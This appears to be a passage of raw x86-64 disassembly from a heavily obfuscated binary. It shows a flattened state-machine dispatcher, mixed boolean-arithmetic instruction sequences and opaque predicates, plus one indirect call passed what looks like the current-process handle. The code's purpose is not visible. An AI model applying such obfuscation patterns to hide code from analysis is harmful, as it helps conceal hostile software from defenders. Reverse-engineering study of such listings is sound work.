cmp eax, 0x2479b679
je 0x14017c204
cmp eax, 0x24c5a304
jne 0x14016c950
mov eax, 0x89171999
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x7e975c63
jg 0x140172958
cmp eax, 0x7e05b683
jg 0x1401764a2
cmp eax, 0x7db6b18e
je 0x14017c2e8
cmp eax, 0x7ddf03d8
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov edx, ecx
and edx, 0x88000084
mov ebx, edi
and ebx, 0xb5a048
or ebx, edx
xor ebx, 0xb5a048
mov edx, edi
xor edx, 0x88b5a0cc
and edx, edi
mov esi, ebx
and esi, edx
xor edx, ebx
or edx, esi
mov ebx, edx
not ebx
and ebx, 0xafb0906b
and edx, 0x504f6f94
or edx, ebx
mov ebx, edx
xor ebx, 0xc048cb48
xor edx, 0x270530a6
mov esi, edx
and esi, 0x18b60415
and ebx, 0xe749fbea
or ebx, esi
and edi, 0x18b60415
and ecx, 0xe749fbea
or ecx, edi
xor ecx, ebx
not ecx
or ecx, edx
cmp ecx, 0xffffffff
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ebx, ecx
or bl, dl
xor cl, dl
not cl
and cl, dl
mov edx, ebx
xor dl, cl
xor cl, 1
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, eax
xor dl, cl
xor cl, 1
or cl, al
xor dl, 1
mov ebx, edx
xor bl, cl
test dl, 1
mov eax, 0xe3ddf3b3
mov edx, 0x3cdd8413
cmovne eax, edx
test cl, 1
mov ecx, 0xe3ddf3b3
cmovne eax, ecx
jmp 0x14019dd1f
cmp eax, 0x47c33fcc
jg 0x140172b05
cmp eax, 0x46fbb205
jg 0x140176648
cmp eax, 0x46c242bf
je 0x14017c3c3
cmp eax, 0x46e5c9c4
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x24b1e7b2
and edx, ecx
and ecx, 0xdb4e184d
or ecx, ebx
mov ebx, ecx
xor ebx, 0x8060045
xor ecx, 0x24b1e7b2
mov edi, edx
not edi
mov esi, ecx
and esi, 0xd7d8df1a
and ebx, 0x282720e5
or ebx, esi
or ecx, edi
and edi, 0xd7d8df1a
and edx, 0x282720e5
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov esi, ecx
mov edi, ecx
xor edi, 0xfc8790a5
and edi, ecx
not ecx
and ecx, 0xb617aa10
and esi, 0x49e855ef
or esi, ecx
mov ecx, esi
xor ecx, 0x49e855ef
mov edx, esi
xor edx, 0x4a903ab5
and edx, ecx
mov ebx, edx
not ebx
mov eax, edi
not eax
mov r9d, ebx
and r9d, 0xab121e1c
and edx, 0x54ede1e3
or edx, r9d
or ebx, eax
and eax, 0xab121e1c
and edi, 0x54ede1e3
or edi, eax
xor edi, edx
not ebx
or ebx, edi
mov eax, ebx
not eax
and eax, 0x419d117a
and ebx, 0xbe62ee85
or ebx, eax
xor ebx, 0x42e57e21
xor esi, 0x90168010
and esi, 0x91d680fa
mov eax, ecx
and eax, 0x6e297f05
or eax, esi
xor eax, 0x91d680fb
and ecx, 1
or ecx, eax
not ecx
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0xea83cfaa
and edx, ecx
or ecx, 0x157c3055
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x1c7aa7a3
and eax, 0xe2814808
or eax, edi
or ecx, ebx
and ebx, 0x1c7aa7a3
and edx, 0xe385585c
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x157c3055
and ecx, 0xea83cfaa
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xc1e5e7de
and eax, 0x3e1a1821
or eax, ecx
xor eax, 0x3e1a1821
setne dl
sete bl
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg al
and bl, al
and r9b, dl
or r9b, bl
mov ebx, eax
xor bl, dl
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, bl
xor bl, 1
xor dl, 1
or bl, al
xor bl, 1
or bl, dl
mov eax, ebx
xor al, 1
mov edx, ebx
and dl, al
xor dl, 1
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov ecx, edx
and cl, r9b
or al, r9b
xor r9b, 1
xor dl, 1
and dl, r9b
or dl, cl
xor r9b, bl
xor al, 1
or al, r9b
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x69363b61
mov ebx, 0xb15c7fc0
cmovne ecx, ebx
test al, 1
mov eax, 0x69363b61
cmovne eax, ecx
test dl, dl
jmp 0x1401a14db
cmp eax, 0x8a57cd
jle 0x140172c07
cmp eax, 0xa643c1
jg 0x1401766ef
cmp eax, 0x8a57ce
je 0x14017c4d3
cmp eax, 0xa45478
jne 0x14016c950
mov eax, 0x403f7166
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x64e8b730
jle 0x140172c3d
cmp eax, 0x658e89f0
jg 0x1401767e0
cmp eax, 0x64e8b731
je 0x14017c4e8
cmp eax, 0x64ff5273
jne 0x14016c950
mov eax, 0x7a840971
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x26bd2088
jle 0x140172d5f
cmp eax, 0x2706fd46
jg 0x14017680b
cmp eax, 0x26bd2089
je 0x14017c678
cmp eax, 0x26c788e1
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0x91401ec
and edx, 0xf6ebfe13
or edx, ebx
mov edi, edx
xor edi, 0x4880000
xor edx, 0x8000008
or ecx, 0xcdf90aed
mov ebx, ecx
not ebx
or edx, 0x20068512
and edx, 0xe8678f1b
and edi, 0x59800e4
or edi, edx
and ecx, 0xe8678f1b
and ebx, 0x12007000
or ebx, ecx
xor ebx, edi
mov edx, ebx
not edx
and edx, 0x3206f512
and ebx, 0xcdf90aed
or ebx, edx
mov edx, ebx
not edx
mov ecx, edx
and ecx, 0xd47c4f91
mov edi, ebx
and edi, 0x2b83b06e
or edi, ecx
mov ecx, edi
not ecx
and ecx, 0x92a74b4b
and edi, 0x6d58b4b4
or edi, ecx
xor edi, 0xb924fb24
and edx, 1
xor ebx, 0xfffffffe
or ebx, edx
not ebx
mov edx, edi
and edx, ebx
xor ebx, edi
or ebx, edx
mov edx, ebx
mov ecx, ebx
xor ecx, 0xec4c09ae
and ecx, ebx
not ebx
and ebx, 0xe80800a2
and edx, 0x444090c
or edx, ebx
xor edx, 0x444090c
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xa4732f48
and ecx, 0x5b8cd0b7
or ecx, edx
mov edx, ecx
xor edx, 0x22405800
xor ecx, 0x2d2226
and ecx, 0x95ada33f
and edx, 0x6a525cc0
or edx, ecx
mov ecx, edx
xor ecx, 0x40400080
xor edx, 0x91a8a221
and edx, 0xbbbafe61
and ecx, 0x4445019e
or ecx, edx
mov edx, ecx
xor edx, 0xa88a8821
xor ecx, 0x450112
and ecx, 0x13757752
and edx, 0xec8a88ad
or edx, ecx
xor edx, 0xec8a88ad
sete dl
setne r8b
cmp eax, 0xa
setl cl
cmp eax, 9
setg r9b
mov eax, ecx
and cl, r8b
and r8b, r9b
and al, dl
or al, r8b
mov ebx, eax
xor bl, r9b
and bl, al
and dl, r9b
or cl, dl
mov eax, ebx
xor al, 1
mov edx, ecx
xor dl, 1
and al, cl
and dl, bl
or dl, al
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xb9743e7f
mov ebx, 0x3a0e47a1
cmovne eax, ebx
test cl, 1
mov ecx, 0xb9743e7f
jmp 0x14019f0fb
cmp eax, 0x535a0690
jle 0x140172ec2
cmp eax, 0x54051c52
jg 0x140176943
cmp eax, 0x535a0691
je 0x14017c68d
cmp eax, 0x53dfea73
jne 0x14016c950
mov eax, 0x4675cec2
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x144a5920
jle 0x14017300f
cmp eax, 0x14c7001d
jg 0x140176a84
cmp eax, 0x144a5921
je 0x14017c7d8
cmp eax, 0x147fa114
jne 0x14016c950
mov eax, 0x105e0066
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x708333dc
jle 0x140173045
cmp eax, 0x72031257
jg 0x140176aaf
cmp eax, 0x708333dd
je 0x14017c7ed
cmp eax, 0x70d55a17
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
not edx
and ebx, 0x44bb67b
and edx, 0xfbb44984
or edx, ebx
mov ecx, edx
xor ecx, 0x44bb67b
xor edx, 0xc9a04180
and edx, 0xc9a3f380
mov ebx, ecx
and ebx, 0x365c0c7f
or ebx, edx
mov edx, ebx
xor edx, 0x365c0c7f
mov edi, ebx
xor edi, 0xae1b2f6d
and edi, edx
and ecx, 0x98472312
mov esi, edi
and esi, ecx
xor ecx, edi
or ecx, esi
mov edi, ecx
not edi
and edi, 0x638717c
and ecx, 0xf9c78e83
or ecx, edi
xor ecx, 0x9e7f526f
and edx, 1
xor ebx, 0x365c0c7e
or ebx, edx
not ebx
mov edx, ecx
and edx, ebx
xor ebx, ecx
or ebx, edx
mov ecx, ebx
xor ecx, 0xb4468955
and ecx, ebx
or ebx, 0x4bb976aa
mov edx, ebx
not edx
mov edi, ecx
not edi
mov esi, ebx
and esi, 0xc26adcee
and edx, 0x34040111
or edx, esi
or ebx, edi
and edi, 0xc26adcee
and ecx, 0x3d952311
or ecx, edi
xor ecx, edx
not ebx
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0x4bb976aa
and ebx, 0xb4468955
or ebx, ecx
sete r8b
setne r10b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r9b
mov eax, r9d
xor al, cl
and al, r9b
mov edx, eax
xor dl, 1
mov ebx, edx
or bl, al
xor al, bl
xor al, 1
or bl, dl
xor bl, 1
or bl, al
mov edx, r10d
or dl, bl
xor dl, 1
mov eax, r10d
xor al, bl
xor al, 1
and al, bl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, ecx
xor dl, r8b
and dl, cl
and r10b, r9b
and cl, r8b
or cl, r10b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, eax
xor dl, 1
and dl, al
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov ebx, edx
and dl, cl
xor cl, 1
xor bl, 1
and bl, cl
or dl, bl
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xa2845c03
mov ebx, 0xacd451a6
cmovne eax, ebx
test cl, 1
mov ecx, 0xa2845c03
jmp 0x1401a26b7
cmp eax, 0x38605f77
jle 0x14017307b
cmp eax, 0x39870b13
jg 0x140176bfe
cmp eax, 0x38605f78
je 0x14017c920
cmp eax, 0x3920cc75
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edi, [rcx - 1]
imul edi, ecx
mov r9d, edi
not r9d
mov ecx, edi
or ecx, 0x789e7763
mov ebx, ecx
not ebx
mov edx, edi
xor edx, 0x8761889c
and edx, edi
mov eax, edx
not eax
mov esi, ecx
and esi, 0xc5597844
and ebx, 0x2208098
or ebx, esi
or ecx, eax
and eax, 0xc5597844
and edx, 0x3aa687bb
or edx, eax
xor edx, ebx
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x95fb42cf
and ecx, 0x6a04bd30
or ecx, eax
mov ebx, ecx
xor ebx, 0xa9000189
xor ecx, 0x12980212
and ecx, 0x56fd3636
and ebx, 0xa902c9c9
or ebx, ecx
mov eax, ebx
xor eax, 0x8004008
and r9d, 0xecb513c3
and edi, 0x134aec3c
or edi, r9d
mov ecx, edi
xor ecx, 0x10004418
xor ebx, 0x56fd3636
xor edi, 0xecb513c3
mov edx, ebx
and edx, 0xa35ba9e5
and eax, 0x5ca4561a
or eax, edx
or ebx, edi
and edi, 0xa35ba9e5
and ecx, 0x5ca4561a
or ecx, edi
xor ecx, eax
not ebx
or ebx, ecx
mov eax, ebx
not eax
and eax, 0x344ce953
and ebx, 0xcbb316ac
or ebx, eax
xor ebx, 0xcbb316ac
sete r9b
setne bl
cmp r8d, 9
setg r10b
cmp r8d, 0xa
setl al
mov ecx, eax
xor cl, bl
not cl
and cl, bl
mov edx, eax
or dl, bl
xor cl, 1
mov r8d, ecx
xor r8b, dl
or cl, dl
xor cl, 1
or cl, r8b
and bl, al
and r10b, r9b
or r10b, bl
mov edx, eax
and dl, r9b
xor al, r9b
or al, dl
xor al, 1
mov edx, r10d
and dl, al
xor al, r10b
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov ebx, ecx
xor bl, 1
mov r8d, eax
xor r8b, bl
mov edx, ebx
and dl, cl
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
xor dl, al
xor r8b, 1
or al, cl
xor al, 1
or al, r8b
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0x6dbdc748
mov ebx, 0xf2e0ee26
cmovne ecx, ebx
test al, 1
mov eax, 0x6dbdc748
jmp 0x140197fb0
cmp eax, 0x4e743b22
jle 0x14017316f
cmp eax, 0x4f52f270
jg 0x140176c57
cmp eax, 0x4e743b23
je 0x14017ca6b
cmp eax, 0x4ebcb2e1
jne 0x14016c950
mov eax, 0x77b05151
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x92d8419
jle 0x1401732ba
cmp eax, 0x9ce5fe2
jg 0x140176e20
cmp eax, 0x92d841a
je 0x14017cb83
cmp eax, 0x96c9c7e
jne 0x14016c950
mov ecx, dword [0x1402656c8]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, eax
mov ebx, edx
not ebx
mov edi, eax
and edi, 0x28f7a1e3
and ecx, 0xd7085e1c
or ecx, edi
or eax, ebx
and ebx, 0x28f7a1e3
and edx, 0xd7085e1c
or edx, ebx
xor edx, ecx
not eax
or eax, edx
mov ebx, eax
xor ebx, 1
and ebx, eax
mov edx, eax
not edx
and edx, 0xd8ad2d47
and eax, 0x2752d2b8
or eax, edx
mov edx, eax
xor edx, 0x54290a9
mov ecx, ebx
not ecx
xor eax, 0xd8ad2d46
mov edi, ecx
and edi, 0xe2bd6e14
and ebx, 0x1d4291eb
or ebx, edi
or ecx, eax
and eax, 0xe2bd6e14
and edx, 0x1d4291eb
or edx, eax
xor edx, ebx
not ecx
or ecx, edx
mov eax, ecx
xor eax, 0xb77a827e
and eax, ecx
not ecx
and ecx, 0xb77a827e
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x4dd1d7d7
and eax, 0xb22e2828
or eax, ecx
mov ecx, eax
xor ecx, 0x1142204
xor eax, 0xfaa95508
and eax, 0xfee9dd5a
and ecx, 0x11622a5
or ecx, eax
xor ecx, 0x11622a5
cmp ecx, 0xffffffff
sete dl
setne r8b
cmp dword [0x1402656c4], 9
setg bl
mov eax, ebx
and al, r8b
xor r8b, bl
or r8b, al
mov eax, ebx
xor al, dl
not al
and al, dl
or bl, dl
mov edx, ebx
xor dl, al
xor al, 1
xor dl, 1
or al, bl
xor al, 1
or al, dl
mov r11d, eax
xor r11b, 1
mov ecx, r8d
mov edx, r11d
and dl, al
mov r9d, r8d
mov r10d, r11d
and r10b, dl
xor dl, r11b
xor r11b, r8b
xor r8b, 1
and cl, r8b
xor r9b, cl
xor cl, 1
or cl, r8b
xor cl, 1
or cl, r9b
or dl, r10b
mov ebx, ecx
xor bl, 1
and bl, dl
xor dl, 1
and dl, cl
or dl, bl
or al, r8b
xor al, 1
or al, r11b
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x60941aff
mov ebx, 0x5cfef3c3
cmovne eax, ebx
test dl, 1
cmove eax, ebx
test cl, 1
mov ecx, 0x60941aff
jmp 0x1401a14db
cmp eax, 0x6b902ca8
jle 0x140173396
cmp eax, 0x6bd832db
jg 0x140176f7b
cmp eax, 0x6b902ca9
je 0x14017ccac
cmp eax, 0x6bd81c0b
jne 0x14016c950
mov eax, 0x3d5695c1
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x304baeca
jle 0x1401733d0
cmp eax, 0x3151e4d3
jg 0x140176fa6
cmp eax, 0x304baecb
je 0x14017cdde
cmp eax, 0x306d0000
jne 0x14016c950
mov eax, 0xc93bd6be
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x5cdeabfd
jle 0x1401734eb
cmp eax, 0x5d0c3b5b
jg 0x140176fd1
cmp eax, 0x5cdeabfe
je 0x14017cf03
cmp eax, 0x5cfef3c3
jne 0x14016c950
mov eax, 0x96c9c7e
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x1e49b5ad
jle 0x140173521
cmp eax, 0x1e8e405f
jg 0x1401770f2
cmp eax, 0x1e49b5ae
je 0x14017cf18
cmp eax, 0x1e86d531
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x7d5bb7cc
mov edi, ecx
and edi, 0x82a44832
or edi, ebx
xor edi, 0x82a44832
mov ebx, ecx
and ebx, 1
or ebx, edi
and edx, 0xc78654f9
and ecx, 0x3879ab06
or ecx, edx
mov edx, ecx
xor edx, 0x3879ab06
xor ecx, 0xc78654f9
and ecx, ebx
not ebx
and edx, ebx
or ecx, edx
not ecx
or ecx, ebx
cmp ecx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl r9b
cmp eax, 9
setg cl
mov eax, ecx
xor al, dl
and dl, al
and cl, al
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
or r9b, r8b
xor al, 1
mov edx, r9d
xor dl, al
or al, r9b
xor al, 1
or al, dl
xor cl, 1
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
test al, 1
mov ebx, 0x77b05151
mov eax, 0x4ebcb2e1
cmovne ebx, eax
test cl, 1
mov eax, ebx
mov ecx, 0x77b05151
cmovne eax, ecx
jmp 0x14019e24c
cmp eax, 0x79fb0f6a
jle 0x1401736ba
cmp eax, 0x7ab01f56
jg 0x140177317
cmp eax, 0x79fb0f6b
je 0x14017d0e1
cmp eax, 0x7a840971
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov r9d, ebx
not r9d
mov edx, ebx
xor edx, 0x833cca09
and edx, ebx
mov ecx, ebx
or ecx, 0x7cc335f6
mov esi, edx
not esi
mov eax, ecx
and eax, 0x41beab48
mov edi, r9d
and edi, 0x82004001
or edi, eax
or ecx, esi
and esi, 0x41beab48
and edx, 0xbe4154b7
or edx, esi
xor edx, edi
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x1b06ccdc
and ecx, 0xe4f93323
or ecx, eax
mov eax, ecx
xor eax, 0x540c82b
xor ecx, 0x10000410
and ecx, 0x72853510
and eax, 0x8d7acaef
or eax, ecx
xor eax, 0x8d7acaef
and r9d, 0x8408ce4e
and ebx, 0x7bf731b1
or ebx, r9d
xor ebx, 0x7bf731b1
mov ecx, eax
and ecx, ebx
xor ebx, eax
or ebx, ecx
cmp ebx, 0xffffffff
setne r9b
sete cl
cmp r8d, 9
setg bl
cmp r8d, 0xa
setl r8b
mov eax, ecx
xor al, r9b
and al, cl
mov edx, eax
xor dl, r8b
and al, dl
and dl, r8b
mov r10d, eax
and r10b, dl
xor dl, al
or dl, r10b
and r8b, r9b
and cl, bl
or cl, r8b
mov eax, ebx
xor al, r9b
or bl, r9b
xor bl, 1
or bl, al
xor bl, 1
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov eax, ebx
xor al, 1
xor dl, 1
mov ecx, ebx
and cl, al
mov r8d, ebx
xor r8b, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, r8b
xor cl, dl
mov eax, edx
and al, bl
xor dl, bl
or dl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x8178a802
mov ebx, 0x64ff5273
cmovne eax, ebx
test dl, 1
mov edx, 0x8178a802
jmp 0x1401a0e85
cmp eax, 0x420669a4
jle 0x1401738bb
cmp eax, 0x43008bb4
jg 0x140177342
cmp eax, 0x420669a5
je 0x14017d19c
cmp eax, 0x42b5c6b3
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov eax, ebx
not eax
mov edx, eax
and edx, 0x88802bdc
mov ecx, ebx
and ecx, 0x51238003
or ecx, edx
mov esi, ecx
xor esi, 0x51210000
xor ecx, 0x808418e0
mov edi, eax
or edi, 0xd9a3abdf
mov edx, edi
not edx
and ecx, 0x808698e3
and esi, 0x5921231c
or esi, ecx
and edi, 0x808698e3
and edx, 0x26584400
or edx, edi
xor edx, esi
mov ecx, edx
not ecx
and ecx, 0x265c5421
and edx, 0xd9a3abde
or edx, ecx
and eax, 0xf41e28a3
and ebx, 0xbe1d75c
or ebx, eax
mov eax, ebx
xor eax, 0xac14340
mov edi, edx
not edi
mov ecx, edi
and ecx, 0x4122943c
and edx, 0xbedd6bc3
or edx, ecx
xor ebx, 0x40020020
and ebx, 0x4122943c
and eax, 0xbedd6bc3
or eax, ebx
xor eax, edx
not eax
or eax, edi
cmp eax, 0xffffffff
sete r9b
setne r10b
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg dl
mov eax, r10d
xor al, dl
mov ebx, eax
and bl, r10b
and al, dl
mov r8d, ebx
and r8b, al
xor al, bl
or al, r8b
and r10b, cl
and dl, r9b
or dl, r10b
mov ebx, ecx
and bl, r9b
xor cl, r9b
or cl, bl
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
xor dl, al
mov ecx, edx
xor cl, 1
and al, cl
xor cl, al
test cl, 1
mov ecx, 0xe2412a0c
mov ebx, 0x15a91e18
cmovne ecx, ebx
test dl, 1
mov edx, ecx
mov ebx, 0xe2412a0c
jmp 0x140193ff2
cmp eax, 0x3ac92ca
jle 0x1401738f1
cmp eax, 0x454cbe1
jg 0x14017736d
cmp eax, 0x3ac92cb
je 0x14017d1b1
cmp eax, 0x3cd767d
jne 0x14016c950
mov rax, qword [rbp - 0x70]
mov rdx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x38]
mov r9d, dword [rbp - 0x2c]
mov rbx, qword [rbp - 0x28]
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffffffffffff
call rbx
add rsp, 0x30
mov eax, 0xe4741157
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x4a9ca09a
jg 0x140173b3c
cmp eax, 0x4a68b85d
je 0x14017d1c6
cmp eax, 0x4a9587b7
jne 0x14016c950
mov eax, 0x4a9ca09b
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x4ce30994
jg 0x140173c46
cmp eax, 0x4c4d85b1
je 0x14017d27f
cmp eax, 0x4c92a33e
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
mov ebx, edx
xor ebx, 0xfffffffe
and ebx, edx
not edx
mov edi, edx
and edi, 0x8368506b
and ecx, 0x7c97af94
or ecx, edi
mov edi, ecx
xor edi, 0x3c150a94
xor ecx, 0x8368506a
or ecx, 1
mov esi, ebx
not esi
mov eax, ecx
and eax, 0xc3eaa509
and edi, 0x3c155af6
or edi, eax
or ecx, esi
and esi, 0xc3eaa509
and ebx, 0x3c155af6
or ebx, esi
xor ebx, edi
not ecx
or ecx, ebx
mov eax, ecx
not eax
and eax, 0xf12fb0a5
and ecx, 0xed04f5a
or ecx, eax
xor ecx, 0xed04f5a
mov eax, ecx
and eax, edx
xor ecx, edx
or ecx, eax
cmp ecx, 0xffffffff
sete r9b
setne cl
cmp r8d, 9
setg al
cmp r8d, 0xa
setl bl
and cl, bl
mov edx, eax
xor dl, r9b
and dl, al
and al, r9b
or al, cl
xor bl, r9b
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov ecx, ebx
xor cl, 1
and bl, cl
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov ecx, ebx
xor cl, 1
mov edx, eax
xor dl, 1
and bl, dl
or dl, cl
and cl, al
or cl, bl
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x2eef7f5e
mov ebx, 0xb2bb3ee9
cmovne eax, ebx
test cl, cl
mov ecx, eax
mov ebx, 0x2eef7f5e
jmp 0x14019cdac
cmp eax, 0x6913c3bf
jg 0x140177398
cmp eax, 0x689cf47b
je 0x14017d294
cmp eax, 0x68cf5a93
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov r9d, ebx
not r9d
mov edx, ebx
xor edx, 0x330c60dd
and edx, ebx
mov ecx, ebx
or ecx, 0xccf39f22
mov esi, edx
not esi
mov eax, ecx
and eax, 0x363ef841
mov edi, r9d
and edi, 0x100009c
or edi, eax
or ecx, esi
and esi, 0x363ef841
and edx, 0xc9c107be
or edx, esi
xor edx, edi
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0xccf39f23
and ecx, 0x330c60dc
or ecx, eax
mov eax, ecx
not eax
and r9d, 0xac066a2a
and ebx, 0x53f995d5
or ebx, r9d
mov edx, ebx
xor edx, 0x11298095
xor ebx, 0xac066a2a
mov edi, ecx
and edi, 0xc2d43742
and eax, 0x3d2bc8bd
or eax, edi
or ecx, ebx
and ebx, 0xc2d43742
and edx, 0x3d2bc8bd
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x67cfa29d
and ecx, 0x98305d62
or ecx, eax
xor ecx, 0x98305d62
sete r9b
setne cl
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
mov eax, ecx
and al, bl
or cl, dl
and dl, r9b
or dl, al
xor dl, 1
or dl, bl
xor dl, 1
xor cl, 1
or bl, r9b
xor bl, 1
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov eax, edx
xor al, bl
or bl, dl
xor bl, 1
or bl, al
mov ecx, ebx
xor cl, al
test bl, 1
mov edx, 0xee0fc050
mov ebx, 0x7418a9d7
cmovne edx, ebx
test al, 1
cmove edx, ebx
test cl, 1
mov eax, 0xee0fc050
jmp 0x1401a0e8b
cmp eax, 0x2bb3a619
jg 0x1401773c3
cmp eax, 0x2b487628
je 0x14017d2a9
cmp eax, 0x2bad01dd
jne 0x14016c950
mov eax, 0x2ddaaa2c
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x58bdd07b
jg 0x1401774cd
cmp eax, 0x581bbee7
je 0x14017d445
cmp eax, 0x585a4dce
jne 0x14016c950
mov eax, dword [rbp + 8]
mov dword [rbp - 0x7c], eax
mov eax, 0x25633b0f
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x1b938072
jg 0x1401775c4
cmp eax, 0x1b06d177
je 0x14017d45a
cmp eax, 0x1b44e35c
jne 0x14016c950
mov eax, 0x26c788e1
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x760cc7a8
jg 0x14017761d
cmp eax, 0x75c748d6
je 0x14017d556
cmp eax, 0x75e5c739
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
mov ecx, ebx
xor ecx, 0x34ab2591
and ecx, ebx
not ebx
and ebx, 0x24012580
and edx, 0x10aa0011
or edx, ebx
xor edx, 0x10aa0011
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xcb54da6e
and ecx, 0x34ab2591
or ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
and ebx, 0xfffffffe
and edx, 0x8482458f
and ecx, 0x7b7dba70
or ecx, edx
xor ecx, 0x7b7dba71
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xb1e55dd8
and edx, 0x4e1aa227
or edx, ecx
mov ecx, edx
xor ecx, 0xb04154d8
xor edx, 0x4a122024
and ecx, 0xb449d6db
and edx, 0x4bb62924
or edx, ecx
xor edx, 0xb449d6db
cmp edx, 0xffffffff
sete r8b
setne cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg r9b
mov eax, ecx
xor al, r8b
and al, cl
mov edx, eax
not dl
and dl, al
mov r10d, edx
and r10b, al
xor dl, al
or dl, r10b
xor dl, r9b
